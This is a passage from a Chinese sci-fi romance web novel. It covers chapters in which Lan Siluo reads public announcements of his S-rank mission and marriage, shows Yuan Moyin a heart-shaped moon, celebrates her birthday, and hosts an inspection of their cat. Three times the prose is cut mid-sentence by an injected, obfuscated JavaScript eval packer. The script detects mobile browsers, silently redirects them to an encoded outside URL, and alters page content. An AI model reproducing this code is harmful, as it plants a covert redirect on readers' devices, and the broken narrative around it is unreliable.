被关掉消息提示的光脑正源源不断地接收着消息。 元墨枢:[截图] 元墨枢:[姐姐,东西给你寄来了。你多陪姐夫演两天吧,我感觉还能从他身上捞点好处出来。](消息已被撤回) 元墨枢:[姐姐,日用品我都给你寄过去了,你记得明天别不小心把姐夫的表演戳穿了。] 39. 兰司珞,这星网如你所愿 第二天早上,兰司珞正在厨房做早餐,光脑响了起来。 他调出光屏,看见是从小一起长大的好友赫帆发来的视频通讯,顺手点了接通。 赫帆的脸瞬间铺满整个屏幕:“兰司珞!!” 兰司珞端着手上的盘子后仰拉开距离:“你凑这么近干嘛?” 赫帆激动得仿佛要破开光屏跳到兰司珞的脸上:“S级任务!你这个闷声发大财的家伙!我还以为你是被顾元帅发配去边境吃苦呢!没想到你偷偷整了这么大一个惊喜!你还不告诉我!我们还是不是兄弟了!” 兰司珞这几天心思全在元墨洇身上,确实忘记通知自己的朋友一声。想到这里,他理亏地默默调低自己光脑的声音,任由赫帆在屏幕的另一边喋喋不休地数落他。 一刻钟后,兰司珞做好了早餐,赫帆也终于冷静了下来。 赫帆喝了口水,清清嗓子,目光扫过兰司珞这边的画面:“兰少将,您这一大清早还亲自下厨呢?S级任务的报酬不够您买一个会自己做饭的厨房吗?” 兰司珞被训了一早上的腰板陡然间挺直了,他移动了一下摄像头对准身边的食物:“这是我的,这是我·家·墨洇的,这是我和我·家·墨洇的猫的。” 赫帆:“……” 他酸溜溜地说:“还真让你小子等着了。” 兰司珞对他的反应极为满意,一边把早餐端出门一边问道:“对了,你怎么知道我完成了S级任务?” 赫帆:“你是不是忘了,S级任务会发全星网公告。” 兰司珞想起来这件事,又跟赫帆聊了几句后,挂断了通讯,迫不及待点开了星网。 星网首页,官方发布的几条公告标红置顶在每个人的界面上。 兰司珞点开第一条。 【S级任务完成公告】 经过衡镜司星域·任务评定部·S级任务评定第三小组审核,帝都星域·第三军团成功完成S级任务【瑟尔瓦克】,特此公告。 恭喜人类又一次守护了我们的家园。 任务详情如下。 任务名称:瑟尔瓦克 任务目标1:破解瑟尔瓦克星域生物隐身技术。(已完成) 任务目标2:活捉规定数量的瑟尔瓦克,进行人工养殖。(数量已达标) 任务目标3:歼灭瑟尔瓦克星域的星球堡垒,扩张星空版图。(已完成) 总负责人:元墨洇(普罗米修斯星域·元墨洇精神力研究所所长)、唐曼(帝都星域·第三军团将军)、陆书慎(青园星域·第四农场二阶养殖员)。 其他负责人:方清(普罗米修斯星域·元墨洇精神力研究所副所长)、……、兰司珞(前帝都星域·第三军团少将)、……。 所有参与人员名录:……。详见附录1。 *牺牲名录*:……。详见附录2。 【八大星域,将不惜一切代价,守护我们的家园,直到最后一人。】 ——普罗米修斯星域&帝都星域&青园星域&衡镜司星域联合发布。 星族联盟2399年11月18日。 热评:八大星域,将不惜一切代价,守护我们的家园,直到最后一人。(已折叠相同回复9999+) 1楼:这是那个会隐身的吗?任务1什么意思啊?是我想的那样吗? 回复1:以S级任务的变态程度,感觉真的研究出我们自己的生物隐身技术了。 回复2:本来我也觉得不可能,直到我看到了总负责人的名字。 2楼:兰司珞?他今年刚升到少将吧,这就S级了?他算是近50年最快达成S级的人了吧。 回复1:你要不往他上面再看两排呢,那有一个跟他同龄但是已经是第三个S级项目的。 回复2:才10年,现在的人连元墨洇大人都不认识了。 回复3:这个名字居然可以打出来了,看来元墨洇大人之前隐藏信息就是为了做这个任务吧。 3楼:只有我想嘲笑何晞吗?刚刚看了附录,所有人的军阶都是正常的,就他被解雇了。 回复1:哈哈哈哈哈哈哈。(已折叠相同回复999+) 回复2:早就想说了,同样都是蹭军功,就何晞每天拽得跟兰司珞的领导似的,兰司珞也真能忍。 回复3:不能忍能怎么办,兰司珞又没有后台。我听说何晞从来不整理资料,报告也是扔给兰司珞自己写。 回复4:这么过分?!难怪兰司珞终于忍不下去,一拿到S级就把他踹了。 回复5:真想不通,能当兰司珞的副官还有什么不满足的。早知道换我去了,当初给兰司珞选副官,明明我也报名了,为什么不选我啊? 4楼:兰司珞的军衔里面怎么有个“前”?第三军团疯了,不重点培养他,还要把他扔出去。 回复1:建议你先看一眼下一份公告。 回复2:刚从下一份公告回来,羡慕死我了。(已折叠相同回复999+) 兰司珞津津有味地看到这里,中途还停下来给吐槽何晞那层楼挨个点赞。 他开始好奇下一份公告是什么,顺手把页面向左划动。 【结婚公告】 星族联盟2399年11月8日,普罗米修斯星域元家家主元墨洇女士与兰司珞先生正式结为夫妻,特此公告。 ——普罗米修斯星域。 星族联盟2399年11月15日。 热评1:啊?(已折叠相同回复9999+) 热评2:好魔幻,我刚从上一则公告出来。(已折叠相同回复9999+) 热评3:接兰司珞好运。(已折叠相同回复9999+) 2楼:我刚刚托人去查了!兰司珞接的是汤燧星的换防任务,元墨洇刚好选的汤燧星作为研究所总站。可恶啊,我见过那个任务,早知道我去接了。 回复1:我也见过,偷偷说一句,我当时还在想傻子才接这种任务呢。 回复2:我也……我是傻子。 回复3:我也是。 5楼:我好酸我好酸我好酸,兰司珞敢不敢跟我打一架? 回复1:友情提醒,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344406|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然我也很想揍兰司珞一顿,但他曾经连续三年蝉联军团联合演习单人赛第一名,建议想个别的方式羞辱他。 回复2:听说他智商一般,也许可以从这方面入手。 回复3:你当元墨洇大人是吃素的吗? 6楼:有没有攻略啊?我喜欢的那位大人也很高不可攀呢。 回复1:我托我哥哥的同学的爸爸的导师的校友的孙子去问了兰司珞,他说只要把所有身家都上交就行。 回复2:这也太假了,元墨洇大人看得上兰司珞这点财产? 回复3:有个小道消息,据说兰司珞在帝都星中级学院上学的时候,曾在论坛发帖问怎么追求元墨洇大人,只不过那个帖子十年前被删除了。 回复4:那个帖子我看过,里面有人怂恿楼主去叫元墨洇大人违法,谁信谁是被衡镜司星域关一辈子的傻子。 元墨洇下楼的时候,兰司珞正在傻笑着,一边看公告界面的评论,一边挨个回复通讯软件里给他发消息的好友。 听见元墨洇的脚步声,他连忙关掉公告界面,站起身给她展示面前的早餐。 元墨洇带着白咪坐到他对面。 白咪“嗖”地跳上餐桌,沿着兰司珞的手轻松爬到他头上。 兰司珞呲牙咧嘴地哄道:[别抓别抓,你的也做了,在这里。]他敲了敲身旁的一个猫爪碗。 白咪这才放过了他,和他们一起吃起了早餐。 吃完早餐,兰司珞又要拿出那份治疗方案。 元墨洇按住他的手:“我去书房,有事需要处理。” 兰司珞看着治疗方案写的“建议休息”,思索着怎么劝她,正好这时光脑发来通知,显示元墨枢的快递到了。 他捞起桌面上摊开肚皮的白咪:[你也不要太辛苦了,不是特别重要的事情就先放一放吧,我带白咪去花园里走一圈消食。等我回来你就休息。] 元墨洇点头:“好。” 白咪抗议:“咪!” 兰司珞躲在角落里眼睁睁看着元墨洇进了书房,这才狗狗祟祟地进了卧室。 衣帽间的隐藏门关着,没有被打开过的模样,他松了口气,快速地把元墨枢寄来的快递逐一打开,把衣服都拿出来。 每一个柜子都有一半是空的,他熟练地将元墨洇的衣服分好类,依次挂在他的衣服旁边。 等所有生活用品都整理完后,大半天都过去了。 兰司珞得意地环顾四周,白咪扭着腰睡在刚换的纯色床单上,露出四个粉红色的爪垫。 浴室的置物架没有添上新的杯子,因此两只牙刷挤在同一个杯子里。 原本空旷的阳台上摆上了几盆他叫不出名字的花。 床头柜里整齐地摆放了一排不认识的机器。 兰司珞又看了一眼衣帽间。 他那些花里胡哨的衣服紧贴着元墨洇的白色衣服放在一起,呈现出一种符合他审美的和谐之感。 他满意地笑了笑,晃了晃手里的最后一个快递箱,里面是装书的存储舱和装实验材料的存储舱,向实验室走去。 40. 我的月亮!! 布置好所有东西,兰司珞来到书房叫元墨洇。 元墨洇闭着眼睛,光脑里传出说话的声音,兰司珞仔细一听,只听到一串完全听不懂的专业名词。 他蹑手蹑脚走到元墨洇身边,将温热的手掌覆盖在她眼睛上。 白咪也跟着似模似样地跳到元墨洇腿上,把自己团成一个抱枕。 元墨洇揉了揉白咪,再拍拍兰司珞的手。 兰司珞低声说:“再休息会吧。” 曾经这双眼睛看向他的同样明亮的眼神周围,并没有现在这般深重的阴影。 元墨洇把戴着光脑手环的手伸给他:“不是重要汇报,关掉。” 兰司珞帮她关掉,突然惊喜地看过来:“你能听见了。” “嗯。” 兰司珞喜滋滋地说:“果然还是要多休息,我送你去卧室再睡一会。” “好。” 吃完晚餐,兰司珞借着把碗放进洗涤装置的机会,顺手把白咪塞进怀里带进了厨房。 他把白咪堵在墙角:“白咪啊……” 白咪被他甜腻的嗓音叫得浑身长毛竖起,弓着背警惕地盯着他。 兰司珞蹲在白咪面前平视它:“别这么凶,爸爸问你,爸爸这几天对你好吧?” 白咪:“咪?” 兰司珞打起感情牌,当然重点是他手上变出了一包猫咪零食:“你看看,你现在毛是我在梳,饭是我在做,散步也是我陪你。你是不是该回报我了?” 白咪看着面前狡猾的人类放松下来,舔了口零食:“喵~” 兰司珞立刻摸摸它的头:“现在爸爸有个任务交给你,你一会儿出去,想办法把妈妈骗进三楼的房间陪你玩,直到爸爸来找你们再出来,好不好?” 白咪也不知道听懂没有,懵懵懂懂地点头:“喵!” 兰司珞把厨房门打开一条缝,白咪猫猫祟祟地钻了出去。 不愧是青园星域培养出来的最新品种,兰司珞离开厨房的时候,元墨洇真的已经被白咪骗进了三楼。 他在客厅忙忙碌碌好一会,什么都没干,终于熬到闹钟响起,夜晚悄悄来临。 兰司珞跑进三楼的房间,元墨洇抱着猫静静坐着,在听一个普罗米修斯星域的研发汇报会。 她听得很认真,白咪睡得也很认真。 兰司珞突然有种“要是以后孩子的智商像我就完蛋了”的错觉。 元墨洇听见兰司珞开门,伸手关掉了汇报会。 兰司珞将她拉到走廊上那根颜色不同的栏杆旁,示意她向下看。 月光恰好透过超大的落地窗洒落进屋里,在兰司珞的巨型地毯上印出一个心形。 兰司珞说了句:“你等我一下。”两步窜到楼下。 他开心地蹲在地毯边,对着元墨洇比了个爱心:“墨洇你看,这是我专门定制的心形月亮,每天晚上都会在地毯上刚好留下一颗心,好看吗?” 元墨洇犹豫了半晌,才说:“……好看。” 兰司珞又跑到楼上来牵她的手:“我们下去看。” 来到地毯旁边,兰司珞立刻喋喋不休起来:“当时给这颗星球做人造月亮的时候,施工队问我有什么要求没有,我灵机一动,问他们能不能把月亮做成心形的。 “他们说月亮只能做成圆的,我失望了好久,还是施工队的一位设计师想了个主意,说可以把其他地方涂黑,只留下一块心形的地方,只要保证晚上是这部分面朝我的房子就行。 “还有很多复杂设计,什么保证每个位置看到的心都是一样的之类的,你想看的话我把设计图发给你。 “后来我又定制了这块地毯,刚好是比着月光的大小做的……” 元墨洇听着他的声音,在他刚才蹲的地方蹲下身,将手缓缓放到地毯上月光和地面的分界线所在之处,停留感受了片刻。 兰司珞狐疑地看了她一眼,关于月亮的解说卡壳了。 元墨洇起身之后,他忽然问:“真的好看吗?” 元墨洇:“……” 兰司珞收回在元墨洇眼前挥舞的手,他已经有了答案。 元墨洇看不见他变换的眼神,一如既往平稳地开口道:“你的月亮……” 话音未落,兰司珞撞进她的怀里,把她撞倒在沙发上,难过地说:“你看不见了。” 他精心准备的月亮,期待了很久了日子,专门策划的惊喜,可是…… 他难过地把头埋进元墨洇的颈窝:“我的月亮看不见了。” 兰司珞扶起元墨洇,半跪在她面前:“你什么时候看不见的?” 元墨洇摸摸他的头:“中午吃饭的时候。” 兰司珞把脸放进元墨洇的手心:“为什么不告诉我?” 元墨洇捏捏兰司珞的脸,两颗未干的泪珠从她指尖滚过,又消失在兰司珞脸颊上。 兰司珞偷偷在肩膀上蹭掉眼泪:“我是不是很没用?其实你根本不需要我照顾,我什么忙都帮不上。” 他在元墨洇怀里拱来拱去,像是在寻找一个合适的位置。 元墨洇按在他不安分的后颈:“你做饭很好吃,机甲成绩不错,白咪养得很好,花园里的花很漂亮。” 兰司珞仰头去看她。 元墨洇低头,兰司珞才看清那双眼中没有焦点,却依然朝着他的方向:“我喜欢和你生活在一起,兰司珞。” 兰司珞用颤抖的指尖去触碰她的脸颊:“那我呢?你喜欢我吗?元墨洇同学。” “喜欢。” 她说喜欢。 十年前的元墨洇说她喜欢兰司珞。 兰司珞捧起元墨洇的一只手放在自己胸膛上:“你听,它在说,我也喜欢你。” 元墨洇感受了一会他热烈的心跳,抽出那只手,沿着兰司珞的锁骨、喉结一路往上,缓缓捏住他的下巴。 兰司珞不由自主闭上眼。 他想起这颗私人星球所有设施都建成之后,他在某个傍晚第一次踏入房门。 那时他独自一人坐在沙发上,亲眼看见心形的月光无声地覆盖在他的地毯上。 他眼睫颤抖,任由月亮将这颗星球据为己有。 白咪欢快地沿着地毯的边缘踩着月光。 兰司珞懒洋洋地靠在元墨洇怀里,把玩她的手指:“我第二次问你月亮好不好看的时候,你是不是还想骗我?” 元墨洇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348525|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽回手:“不是。” 兰司珞坐直了身体,将手撑在她身体一侧:“那你想说什么?” 元墨洇淡淡地说:“你说地毯大小和月光刚好吻合,但是边缘的温度对不上。我想说,你的月亮歪了。” 兰司珞震惊地霍然起身,差点踩到白咪尾巴,在白咪不满的“喵喵”中,飞奔到楼上拿出他以前拍的视频,对照着往下看,发现他的月亮真的歪了一点点。 “我的月亮!!!”兰司珞哀嚎。 他辛辛苦苦定制的那么大那么正的一个心形的月亮,准备了这么久,结果喜欢的人没看见,月亮也歪了。 他又飞奔回元墨洇身边坐下,投影出光屏找到施工队客服的账号,开始快速打字:“你的视力什么时候才能恢复呀?我先找人来修一下运行路线,等摆正了再给你看。” “视力恢复需要两天。” “啊?哦。”兰司珞的通讯软件上收到了客服的回复,对方说只需要两个小时就能修好,询问他需要预约什么时间段。 他选择了后天上午。 夜里,元墨洇从床上醒来,掀开被子准备下床。 脚底传来不属于地面的柔软触感,她顿住了片刻。 兰司珞一个翻身就站在了她面前,紧张兮兮地问道:“喝水吗,还是去上厕所?我抱你去。” 元墨洇面无表情:“喝水。” 兰司珞紧张地把她塞回床上:“我去接水,你要放糖吗?或者蜂蜜?或者放朵花?” “不放。” 兰司珞看着元墨洇喝水,心里却开始盘算着,在床边什么位置可以安装一个饮水装置。 要元墨洇伸手就能够到的位置,要能缩进墙面的隐藏式收纳款,要反应灵敏的,要恒温的,元墨洇喜欢的温度是多少来着…… 他在墙上比比划划半天,元墨洇用空水杯轻轻敲了敲某个位置。 他顺手接过水杯,用指甲在那个位置掐了个印记。 兰司珞放好水杯回来的时候,元墨洇还没有睡下。 他紧张兮兮地坐到床边:“还有什么事吗?” 元墨洇拍了拍身边的位置:“你睡上来。” 兰司珞搓了搓手,有些犹豫。 元墨洇等了片刻,感觉到兰司珞还是没有动作,她忽然说:“原来结婚之后,你都睡床下。” 兰司珞:“!” 他迅速钻进元墨洇身边的被子里,把自己牢牢盖住:“谁说的,我一直都睡在床上!” 一片漆黑里,元墨洇闭着眼,兰司珞的眼睛却闪闪发光。 他枕在自己的手臂上,侧躺着凝视元墨洇的睡颜:“其实我是怕你不习惯。” “会习惯的。” “但我又怕你晚上看不见不方便,还不愿意叫我。” “会叫你的。” “那我可以用喜欢的姿势吗?” 元墨洇无声地展开一条手臂。 兰司珞一点点挪进她怀里,把手脚缠在她身上,头靠进她的肩窝里,深吸了一口气,紧紧地闭上了眼。 元墨洇收回手臂搂住他的腰,感受着怀里心虚的颤抖,她以为会很难睡着,谁知很快就睡着了。 41. 午夜十二点的钟声 如此又过了两天,兰司珞终于等到了施工队上门的日子。 他习惯性地在5点醒来,轻手轻脚洗漱完后,发现元墨洇已经醒了。 他疑惑地走过去把光脑手环从充电接口处取下来,打开看了半天:“消息提示音关着呀。” 他忽然惊恐地说:“难道是我吵醒你了?” “不是。”元墨洇手上出现一个手持医疗器械,兰司珞仔细看了看,发现是曾经用来给他治疗精神力失调的那个。 元墨洇打开了它的语音播报系统。 【精神力稳定治疗仪正在启动中……】 【请选择治疗档位。】 【已调节到第三档,请将治疗输出端口对准额头正中心。】 【调试完成,正在启动,3,2,1。】 【治疗完成,请关机。】 元墨洇把治疗仪放在一旁,兰司珞走到她身旁,一边看那本治疗方案,一边用手摸摸她的额头,又用自己的额头贴在她的额头上,问道:“是有哪里不舒服吗?这治疗方案怎么没写这个。” 元墨洇任由他在旁边装医师:“不是治疗后遗症,是一点小毛病。” “看起来不像什么小毛病。”兰司珞退出治疗方案,搜索起精神力稳定治疗仪的说明,“之前你也用那个治疗仪给我治疗过,这种几年都好不了的病也算是‘小毛病’吗?” 他找到了精神力稳定治疗仪的说明界面。 【使用方法:一年以下用第一档,一年到十年用第二档,十年以上用第三档……】 “十年以上?”他用手指轻轻摩挲元墨洇眼下的阴影,“我知道我不聪明,也帮不了你,但你不要瞒着我好不好?” 元墨洇思考了一会:“简单来说,你可以理解为掌控不住精神力的后遗症,具体表现为精神力无意识外泄。晚上睡觉的时候意识薄弱,精神力就会大量外泄,导致对外界环境变化极度敏感,和你没有关系。” 兰司珞理解这些理论很费劲,但他向来是个敏锐的战士,于是他问道:“多少年了?” 元墨洇沉默片刻:“从我出生开始。” 这是兰司珞完全不认识的元墨洇。 新闻报道只会大力夸赞元墨洇是多么难得的天才,生活中只能看见她是人人崇拜的天之骄子,在兰司珞和大部分人眼里,元墨洇似乎从生下来就高高在上,万众瞩目。 没有人告诉他—— “我出生的时候精神力太强,我还无法掌控,所以元家把我送到一颗私人星球上,由机器人进行照顾。三岁左右,我就接管了自己的生活。” 元墨洇似乎感知到兰司珞低落的心情,把手摊开,感受着一颗毛绒绒的头出现在手心里:“现在只剩这个小毛病而已,平时休息的时候只要让机器人一起休眠就没问题,后来我研制出了精神力稳定治疗仪,就能正常和人住在一起了。” 兰司珞想起元墨枢对元家的怨怼,突然问:“但是后来元家还是让你一个人住在外面,对吧?” 元墨洇:“我和阿枢不一样,我习惯了。” 兰司珞却不甘心:“他们这么对你,你为什么不在乎?” “我志不在此。” “可是我志在此,我很在乎!” 元墨洇沉默片刻,兰司珞坐到她身边,把头靠在她肩上,轻声说:“我知道你习惯了一个人生活,但是300年那么长,足够你去适应两个人、三个人甚至四个人的生活。” 身旁传来白咪的叫声。 兰司珞轻笑:“哦对,还有一只猫。” “嗯。” 兰司珞想了想,又说:“虽然你的那些理论我听不懂,但是我还是想你讲给我听。” 元墨洇点头,开始给他解释。 半个小时后,饥肠辘辘的白咪踩醒了兰司珞,叼着他的裤腿示意他给自己做早餐。 兰司珞:“……” 他已经不记得自己怎么就睡着了。 于是等他做好早餐,端给元墨洇的时候,他诚恳地说:“要不以后,我们把这节课挪到晚上睡觉前吧。” 元墨洇:“……好。” 兰司珞吃饭的时候还有点忿忿不平:“元家太可恶了,我没有说你,我说其他人,对了,你现在已经是家主了,那我是不是也有一定权限了。等你好了,我们就杀回去,我到了元家要干的第一件事就是……” “接管珍辰之家。”元墨洇冷酷地说,“相关材料一周内会发送给你,认真看。” 兰司珞:“!” 他委屈地把脸埋进饭里:“我不想工作。” 为了表明自己不想工作的决心,兰司珞一上午都围着元墨洇打转。 直到元墨洇告诉他自己视线已经恢复。 兰司珞立刻忘了自己那些烦恼,琢磨着要把午餐摆在花园里庆祝一下。 把郁闷的兰司珞扔在厨房,元墨洇在花园里闲逛。 这个花园和她在汤燧星那个布局几乎一样,只是占地面积更大,同时花的种类也换成了别的。 她缓步走在花园里,随手调整了花草摆放的位置,拐过几个弯后,看到一大片的猫爪,白咪在里面玩得正欢。 根据研究所的测试,猫爪欧希德的猫爪具有一定的攻击意识。照着目前的情形来看,攻击力在一只小奶猫之上。 因此白咪在花丛里上蹿下跳,被猫爪们逗得胡须倒竖。 元墨洇走了过去,白咪听到脚步声,回过头,用它那双圆圆的鸳鸯眼看向元墨洇。等到元墨洇走到它身边,它立刻原地起跳,蹦入元墨洇怀里,一只爪子抓住元墨洇的头发,另一只爪子指着猫爪欧希德,“咪咪咪”地告状。 兰司珞推着餐车走过来的时候,就看见元墨洇坐在花园里,泡了一壶花茶。 白咪在她身后把所有猫爪欧希德都打趴下了,正迈着优雅的步子沿着花圃边缘走着,巡视它的手下败将。 兰司珞停下步伐,默默拿出光脑拍了个照。 白咪动了动,他又拍了一张。元墨洇放下茶杯,他再拍。 从各个角度拍了几十张照片后,他终于想起自己是来干什么的,继续推着餐车走了过去。 兰司珞坐下后,立刻后悔自己买的是单人椅,他不死心地连人带椅子一同挪到元墨洇身边,紧挨着她。 他好奇地看着元墨洇的花茶:“好喝吗这个?” 元墨洇给他拿出一个杯子,他倒了一杯,喝了一大口。 任他再怎么品,都没有品出传说中酸的甜的苦的涩的所谓前调或是回甘。 他一口气喝完了这杯,元墨洇道:“黛西,提神醒脑,没有味道。” 原来不是自己没有品味,兰司珞悄悄松了口气。 吃完饭,兰司珞拿出光脑,一张张看自己刚才拍的照片。 “我可以拿这个当头像吗?” 他把光屏推到自己和元墨洇中间,上面正是白咪踮着脚,伸手去够猫爪的样子。因为拍摄角度的关系,白咪看起来像是踩在元墨洇肩上。 兰司珞比划了一下:“不把你的脸截进去,就用这一部分。”他选出一个正方形的框,把白咪和元墨洇的肩一同放了进去,右边空出来一小片地方。 元墨洇把那个框往左挪了几分,露出她的一小半侧脸。 回到屋里之后,元墨洇点开通讯软件,看到了兰司珞的新头像。 不是那张白咪错位站在她肩上的,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352315|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是兰司珞大大的笑脸靠在她肩头,而她微微侧过身,露出半张精致的侧脸。白咪站在他们怀里,一只前爪摁在桌上,另一只正伸向摄像头。 新头像下面有许多兰司珞好友的回复。 [元墨洇大人的信息不是绝密吗?你这算不算泄密?@衡镜司星域监察部官方账号我要举报!] [不知道诶,这是墨洇给我截的。] [呵,还养猫啊,这种猫可会挠人了,你也不怕伤害到元墨洇大人。] [哦,你问白咪啊,这是墨洇专门买来送给我的,我挑了好久呢。] [可恶的兰司珞,你命为什么这么好!] [大概是因为长得好看吧。] 晚上,兰司珞的月亮已经修好了。 他用心地布置好了现场,蒙着元墨洇的眼睛把她带到三楼的栏杆旁,让她背对着客厅。 他轻咳一声:“等会儿我叫你,你再转身。” 元墨洇点点头。 他拎起脚边的白咪塞到元墨洇怀里:“让白咪在这陪你。” 兰司珞紧张地看着时间跳转到他设想的那一刻。 他朝楼上喊:“墨洇。” 元墨洇转过身。 月亮在此刻按照设定好的轨迹行驶到了最合适的位置,冷淡的银光从窗外沁入屋内,于地毯上印出一个毛绒绒的心。 一个复古外形的唱片机开始旋转着,《蛋糕圆舞曲》轻快的旋律伴着月光响起。 这是一首不怎么知名的舞曲,作曲的音乐家在一次看她身为甜点师的丈夫为她做蛋糕的时候,惊喜地发现料理台上旋转的蛋糕像极了舞会上女士荡漾开的裙摆。 于是她写下了这首《蛋糕圆舞曲》,一首舞步几乎全是抱起来转圈的曲子。 兰司珞单膝跪在地上,看着元墨洇一步步从楼上走下,直到走到他面前。 他亲吻元墨洇的指尖:“元墨洇大人,我可以邀请你跳一支舞吗?” “可以。”元墨洇屈膝颔首。 兰司珞抱起元墨洇,在她白色的裙摆上生出金色的花蕊,将夜晚搅拌成一碗甜蜜的糖浆。 房子像甜点师手中的蛋糕一样旋转起来,白咪在他们身体两侧来回跑动着,月亮旋转着让月光踏遍他们的脚步。 直到午夜十二点的钟声响起,音乐停止,旋转的世界渐渐停下。 房顶悬挂的彩球“嘭”地打开,彩色的纸带像糖霜一样撒在他们头顶。 兰司珞低头亲吻元墨洇。 “生日快乐,元墨洇大人。” 元墨洇扣响跟随纸带垂落在她头顶的风铃。 风铃被一只巨大的钩子挂在彩球下方,上面用线穿着许多长相古怪的东西,比如贝壳、羽毛等。 风吹过的时候,发出乱七八糟的声音。 兰司珞听到这个声音笑得很是得意:“喜欢吗?每年你过生日,我都会挂点新的东西上去。” 他指着风铃上面那些形态各异的物什说到:“这是约克特莱的尾钩,这是菲尼克斯的羽毛,这是黑渊星域沙滩上的贝壳,这是……” 他想到什么,从个人空间下载下来一个圆溜溜的东西:“这是瑟尔瓦克的眼珠,我找人帮忙处理过了,在外面裹了一层玻璃。” 说着他扯下一根绳子,把这个圆球挂了上去。 兰司珞轻轻拨动瑟尔瓦克的眼珠,风铃跟着杂乱无章地摆动。 他满意地点点头,转头把手心放在元墨洇面前:“这也是给你的。” 元墨洇接过他手里的东西。 一枚金色的功勋章,上面有个大大的“S”,下面写着“瑟尔瓦克”几个小字。 确实是她会喜欢的东西。 42. 我们白咪是小富猫 兰司珞收到了一封来自衡镜司星域宠物监察中心的拜访邮件。 他熟练地将拜帖导入【光脑清理助手v11.1.6】,面前立刻出现了简洁版的事务安排。 他长叹一声靠在元墨洇身上:“嫁给你真的好幸福啊,怪不得我换个头像这么多人跑来关心我。” 元墨洇侧头看了一眼他的光屏。 是宠物监察中心发来的的例行领养资质审核和条例确认。 兰司珞看着上面写的说要审核他的养猫资格,疑惑不解:“猫都养了,现在才审核吗?” 他四下张望,白咪不在他们附近,多半是跑到哪个角落去睡觉或者去花园撒欢了。 他收回目光:“要是审核不能通过,他们会把白咪抱走吗?” 元墨洇:“会。” 兰司珞惊恐地站起身准备去找白咪:“不行!这是你给我买的猫!凭什么买的时候不审核,现在跑来审核。” 元墨洇拉住他的手:“我的购买资格是免审核的,但是猫现在在你名下,需要重新审核。” 兰司珞转身紧张地反握住元墨洇的手:“需要背什么资料吗?这种猫的品种叫什么独角什么来着……” 元墨洇点点他的光屏,上面是白咪的照片:“黑咪是独角兽款波斯凯特,白咪是多角兽款波斯凯特。” 兰司珞眯着眼睛仔细看:“白咪竟然有两只角?” 元墨洇:“……” 兰司珞又问:“其……其他的呢?” 元墨洇:“不会问这些,他们有审核手段。” 兰司珞还是忧心忡忡,元墨洇看他焉头巴脑地靠着自己,推了推他:“你的资质完全合格,就算审核不过,还可以记回我名下。” 兰司珞眼神忧郁:“可是它本来能拥有这颗星球的呀,要是因为我不好耽误了它怎么办,你想想,它本来是这个家的主人,摇身一变成了客人,它心理肯定不好受。万一它怀疑自己不是我们亲生的怎么办?” 元墨洇伸手拿走他的光屏,点开视频软件的最近播放,果不其然,是一部最近新播出的“真假少爷”题材豪门狗血偶像剧。 兰司珞趁着这个时间自己脑补了好多集:“可怜的白咪,将来再回到这颗星球,却发现我们已经养了其他的猫了,它该多难过啊……” 元墨洇关了光屏,连人带光脑一起推出门去让他清醒清醒。 不管兰司珞如何担忧,宠物监察中心的两位工作人员依旧如期到访。 对方刚下飞船停泊港口,就看到兰司珞殷切地站在那里等待着。 其中那位男性工作人员向兰司珞伸出手:“兰少将,你好,我叫王予深,这是我的同事杜音。我司登记显示你近日通过他人代购领养了一只珍贵的品种为多角兽款波斯凯特的猫。按照规定,我们需要重新审核你的领养资质,向你告知相关的法律规定以及定期上门回访。麻烦你把兰白咪请出来,我的同事会在此过程中对它进行身体状况检查。” 兰司珞人模狗样地与他握手:“欢迎你们,白咪在家里,进来坐着谈吧。” 进屋之后,兰司珞将他们带到了一楼的会议室。 两人一进门就看见元墨洇坐在里面等着,停下脚步就要开口重新自我介绍,被兰司珞热情地打断:“快进来坐呀。” 他还在努力地表现自己的亲和力。 两位工作人员:“……” 王予深硬着头皮向元墨洇问好,元墨洇点了点头,他才拉着同事坐下。 兰司珞又让家政机器人端来茶水和零食,坐到元墨洇身边殷勤地问两位工作人员:“要不要放点音乐?” 元墨洇按住他,他立刻消停了。 王予深终于松口气:“把兰白咪给我吧。” 他接过白咪,一边摸它的角一边说:“每只猫出生后我们都会配上相应的监控装置,主要是收集它出生后的生活环境信息,多角兽款波斯凯特的装置在它的角上,你们看。请放心,监控接收到的信息会上传光脑自动分析处理,除了主人自己没有人能看到,不会侵犯你们的隐私。” 兰司珞茫然地看着他从白咪的角上取下一个装置:“还有这个啊?” 杜音刚下载了一个迷你医疗舱摆在身旁。 相比于兰司珞平日里用的大型医疗舱,这款明显小了许多,内部构造也与人类使用的略有不同。 她从王予深手中接过白咪,放进医疗舱里,听到兰司珞的话,抬头看了他一眼。 